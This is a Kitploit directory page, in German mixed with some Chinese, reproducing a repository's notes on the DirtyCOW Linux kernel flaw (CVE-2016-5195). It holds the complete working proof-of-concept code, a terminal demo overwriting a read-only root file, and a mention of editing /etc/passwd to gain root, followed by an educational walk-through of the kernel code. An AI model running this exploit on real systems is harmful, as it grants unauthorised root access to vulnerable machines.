Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2016-5195 — DirtyCOW Notizen | Kitploit
Tools/GitHubGitHub/asuka39/cve-2016-5195
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungBinary-Exploitation
GitHubasuka39/cve-2016-5195

CVE-2016-5195

DirtyCOW Notizen

Repository anzeigen
2vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2016-5195 DirtyCOW

PoC

  • Modifiziert von dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

[Kein Inhalt zur Übersetzung bereitgestellt.]```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

比较常见的利用手法是越权写/etc/passwd修改 root 用户或修改用户权限来提权

Analyse

Exploit-Analyse

Schauen wir uns zuerst an, was der Exploit macht.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

- Zuerst wird pthread aufgerufen, um zwei Threads zu erstellen  
- Dann wird mit `fopen` die schreibgeschützte Zieldatei `argv[1]` geöffnet  
- Die Datei wird mit `mmap` in den Speicher abgebildet (zufällige Adresse), `MAP_PRIVATE` erstellt eine private Speicherabbildung für einen Task. Wenn ein anderer Task versucht, in diesen Speicher zu schreiben, erstellt der Prozess vor dem Schreiben eine Kopie, um zu vermeiden, dass beim Erstellen von Unterprozessen oder Threads viel Zeit und Speicher für das Kopieren des gesamten Speicherplatzes aufgewendet werden muss, und gleichzeitig sicherzustellen, dass gleichzeitige Speicheroperationen zwischen Tasks sich nicht gegenseitig beeinflussen. Dies wird als Copy-on-Write bezeichnet  
- Anschließend werden zwei Threads gestartet: einer führt `madviseThread` aus, der andere `procselfmemThread`  

Dann betrachten wir die Ausführungsroutinen der beiden Threads:  

- Ein Thread ruft `madvise` auf der Dateizuordnung auf, um dem Kernel die Nutzung des zugeordneten Speichers oder des gemeinsamen Speichers mitzuteilen. `MADV_DONTNEED` bedeutet, dass dieser Speicherbereich in naher Zukunft nicht mehr benötigt wird und der Kernel ihn freigeben kann  
- Der andere Thread öffnet `/proc/self/mem` mit Lese-/Schreibberechtigung. Diese Datei ist die Dateizuordnung des virtuellen Speichers des Prozesses selbst, und versucht dann kontinuierlich, Zielinformationen in die Datei zu schreiben```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

最终,在两个线程的轮番轰炸下内核出现竞争漏洞,procselfmemThread成功写入只写文件

Kernel Analyse

  • 大前提:mmap只会在 vma 上建立内存映射,但不会真的将映射文件放进物理页框。因此当我们第一次尝试write文件时必然会触发缺页异常
  • 这里选择的 kernel 版本是 4.4

Was passiert beim Schreiben

mem_rw

Wir beginnen die Analyse mit write. Jeder Dateizugriff muss die vom Dateisystem in der VFS registrierte virtuelle Tabelle file_operations durchlaufen. Dateien unter /proc werden von procfs implementiert. Wenn wir proc_mem_operations finden, sehen wir, dass write an mem_write gebunden ist.```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

`mem_write` ist ein Wrapper um `mem_rw` (mit `write`-Flag auf 1). Der Hauptablauf von `mem_rw` ist:

- Zunächst wird mit `__get_free_page` eine temporäre freie Seite als Puffer angefordert
- Bei einem Schreibvorgang wird mit `copy_from_user` die zu schreibenden Daten in die temporäre Seite kopiert
- Dann liest `access_remote_vm` die Zieldaten in die freie Seite (lesen) oder schreibt den Inhalt des Puffers an die Zieladresse (schreiben)
  - Der Begriff "remote" bedeutet hier, dass dieser Prozess möglicherweise speichergemappte Dateien anderer Prozesse liest oder schreibt, was bedeutet, dass der Prozess auf den Adressraum anderer Prozesse zugreifen kann. Dies unterscheidet sich von anderen Memory-Dateisystemen
- Bei einem Lesevorgang werden die im vorherigen Schritt gelesenen Daten aus der freien Seite zurück in den Puffer des Benutzers geschrieben```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm ist ein Wrapper für __access_remote_vm. Der Hauptablauf ist:

  • get_user_pages ruft die page struct ab, in der sich die Zieladresse addr befindet.

  • Bei Erfolg wird kmap aufgerufen, um die Seite in den High Memory des Kernels zu mappen (die Seite bezieht sich auf die physische Seite).

  • Wenn der Speicherzugriff ein Schreibvorgang ist, werden die Daten geschrieben und das Dirty-Bit gesetzt; bei einem Lesevorgang werden die Daten einfach gelesen.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;

    down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;

Tool herunterladen